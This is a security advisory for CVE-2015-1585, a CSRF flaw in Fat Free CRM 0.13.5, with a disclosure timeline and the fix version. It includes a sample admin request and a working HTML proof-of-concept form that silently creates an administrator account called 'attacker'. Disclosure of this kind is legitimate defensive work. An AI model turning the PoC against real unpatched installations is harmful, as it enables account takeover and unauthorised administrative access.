Fat Free CRM 0.13.5 Cross Site Request Forgery

2015.02.17
Credit: Sven Schleier
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

[CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5 ---------------------------------------------------------------- Product Information: Software: Fat Free CRM Tested Version: 0.13.5, released 22.1.2015 with over 10.000 downloads Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352) Download link: https://rubygems.org/gems/fat_free_crm/versions/0.13.5 Description: An open source, Ruby on Rails customer relationship management platform (CRM). Out of the box it features group collaboration, campaign and lead management, contact lists, and opportunity tracking (copied from https://github.com/fatfreecrm/fat_free_crm) ---------------------------------------------------------------- Vulnerability description: When an authenticated administrative user of Fat Free CRM is creating another user account, the following POST request is sent to the server: POST /admin/users HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: */*;q=0.5, text/javascript, application/javascript, application/ecmascript, application/x-ecmascript Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-Token: oxZgwOAtzNdFJU85jPqmI+g893lQaOy6ctCCzef42qI= Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1:3000/admin Content-Length: 356 Cookie: _session_id=$foo1; user_credentials=$foo2 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache utf8=%E2%9C%93&authenticity_token=oxZgwOAtzNdFJU85jPqmI%2Bg893lQaOy6ctCCzef42qI%3D&user%5Busername%5D=admin1&user%5Bemail%5D=test1%40test.de&user%5Bpassword%5D=1&user%5Bpassword_confirmation%5D=1&user%5Badmin%5D=0&user%5Badmin%5D=1&user%5Bfirst_name%5D=&user%5Blast_name%5D=&user%5Btitle%5D=&user%5Bcompany%5D=&user%5Bgroup_ids%5D%5B%5D=&commit=Create+User As can be seen, the application is already using a CSRF token in the parameter authenticity_token, that has got a sufficient entropy. Nevertheless, this parameter is optional and not mandatory when creating a user. When executing the following Proof-of-Concept, a new administrative user called "attacker" will be created with the password 1234. <html> <body> <form action="http://127.0.0.1:3000/admin/users" method="POST"> <input type="hidden" name="utf8" value="&#65533;&#156;&#147;" /> <input type="hidden" name="user&#91;username&#93;" value="attacker" /> <input type="hidden" name="user&#91;email&#93;" value="test&#64;test&#46;org" /> <input type="hidden" name="user&#91;password&#93;" value="1234" /> <input type="hidden" name="user&#91;password&#95;confirmation&#93;" value="1234" /> <input type="hidden" name="user&#91;admin&#93;" value="1" /> <input type="hidden" name="commit" value="Create&#32;User" /> <input type="submit" value="Submit request" /> </form> </body> </html> ---------------------------------------------------------------- Impact: Every state changing operation within Fat Free CRM is using the parameter authenticity_token in order to prevent CSRF attacks. Nevertheless, all operations can be triggered by a CSRF attack, as this parameter is always optional and not needed. ---------------------------------------------------------------- Solution: Update to the latest version, which is 0.13.6, see https://rubygems.org/gems/fat_free_crm/versions/0.13.6 See also https://github.com/fatfreecrm/fat_free_crm/wiki/CSRF-Vulnerability-%28CVE-2015-1585%29 ---------------------------------------------------------------- Timeline: Vulnerability found: 11.2.2015 Vendor informed: 11.2.2015 Response by vendor: 12.2.2015 Fix by vendor 12.2.2015 Public Advisory: 14.2.2015 ---------------------------------------------------------------- Best regards, Sven Schleier

Referencje:

https://github.com/fatfreecrm/fat_free_crm/wiki/CSRF-Vulnerability-%28CVE-2015-1585%29


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